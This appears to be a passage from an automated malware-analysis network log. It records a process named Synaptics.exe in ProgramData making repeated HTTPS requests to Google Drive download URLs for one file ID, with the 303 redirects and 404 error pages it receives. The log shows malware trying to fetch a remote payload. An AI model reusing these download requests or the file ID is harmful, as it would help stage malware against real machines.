/_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.7	49815	142.250.185.65	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:45 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
2024-08-05 10:00:46 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:00:45 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-E6EWkAgHH5224Pr0sKifrg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1642 X-GUploader-UploadID: AHxI1nPHEOs3Jz8uRib-8LeYGmlnPshHGY5J_Bs6sWKIR4R6K3RW_S94EUekinvmVtGiGfTpSy79yHsq_A Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-05 10:00:46 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-08-05 10:00:46 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 49 68 38 58 56 58 6f 4f 77 73 47 4a 5a 58 62 53 6a 51 39 70 41 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="Ih8XVXoOwsGJZXbSjQ9pAA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-08-05 10:00:46 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.7	49816	142.250.185.65	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:45 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
2024-08-05 10:00:46 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:00:46 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-F_RWwYWbODBxnPOmMz66Eg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1642 X-GUploader-UploadID: AHxI1nMhH4f2fZ7698oIjZxraoy8psKSFNa5PTGfcvbwhPfqJVMuEJQfW8BM2zvJsFA1Ymvlc2Q Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-05 10:00:46 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-08-05 10:00:46 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4e 48 41 39 37 75 37 74 6d 2d 41 6e 45 67 5f 43 53 58 78 38 78 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="NHA97u7tm-AnEg_CSXx8xQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-08-05 10:00:46 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.7	49813	142.250.185.174	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:45 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=W2uqB3Bc7GTNrrAgUDMBMIS5nEsmtrsHrKwC8y0SBrFwZG-kiHAwVoe-TQn-5Pn7KHVQzcRujHI7ZnRySu20lzzOVYBKjdpvA84cGzwfTPgSbFLaYptl5sz2GWIiJjq3nxldn5Op4TzafXZRWe-jpqp5mW4tNnVqz8so3CzALUE
2024-08-05 10:00:46 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:00:45 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-XpqWdldxobCt7BTEiUSSIg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.7	49817	142.250.185.174	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:46 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=rgCy0OADalF9Ozovs0GbwYgY7EgFpP3YHQ5XwvdsCbn2EeisHQPXqSChhyD4L1OaELyrNYbPeP2Wqd2xpO9ZnhsWrE_wcPKBQ-_GkuUU29Gcdk7mRdjymR4S6GPDkRR-TwU4lLoBPFD8Do0OeajKPeS9dlE7RB8RiuH7PfUJOP0
2024-08-05 10:00:47 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:00:46 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-Z4oDmrFEjC8z4x_dTMLeXw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.7	49818	142.250.185.174	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:46 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=rgCy0OADalF9Ozovs0GbwYgY7EgFpP3YHQ5XwvdsCbn2EeisHQPXqSChhyD4L1OaELyrNYbPeP2Wqd2xpO9ZnhsWrE_wcPKBQ-_GkuUU29Gcdk7mRdjymR4S6GPDkRR-TwU4lLoBPFD8Do0OeajKPeS9dlE7RB8RiuH7PfUJOP0
2024-08-05 10:00:47 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:00:47 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-K1eEtkbSD_s2MbJo4aCQIA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.7	49819	142.250.185.65	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:46 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
2024-08-05 10:00:47 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:00:47 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-DalGO-941rB-E_SSCorENA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1642 X-GUploader-UploadID: AHxI1nPbccmrSmZuIzQhjwIaXFgyh-xQKRAvCLZ2PsTQSymqiWTT7II2wxuMvWWQ8Hx7dIYO0JpSNEDGEQ Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-05 10:00:47 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-08-05 10:00:47 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 2d 51 73 6f 5a 52 46 43 79 4a 6d 66 34 32 6d 59 4e 2d 51 48 64 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="-QsoZRFCyJmf42mYN-QHdw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-08-05 10:00:47 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.7	49821	142.250.185.65	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:46 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
2024-08-05 10:00:47 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:00:47 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-HUfAlOmaz9p4mElPgEri_Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1642 X-GUploader-UploadID: AHxI1nOAjycIm-SlNPqqQycBbSeufwrtCulDZG918utbF7kiqminbQB7mJS3ZNPy43KGQnYxmahaI1WuvQ Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-05 10:00:47 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-08-05 10:00:47 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 65 42 67 71 32 42 70 52 36 6b 6d 35 44 74 56 59 36 55 75 4d 59 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="eBgq2BpR6km5DtVY6UuMYA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-08-05 10:00:47 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.7	49823	142.250.185.174	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:47 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=rgCy0OADalF9Ozovs0GbwYgY7EgFpP3YHQ5XwvdsCbn2EeisHQPXqSChhyD4L1OaELyrNYbPeP2Wqd2xpO9ZnhsWrE_wcPKBQ-_GkuUU29Gcdk7mRdjymR4S6GPDkRR-TwU4lLoBPFD8Do0OeajKPeS9dlE7RB8RiuH7PfUJOP0
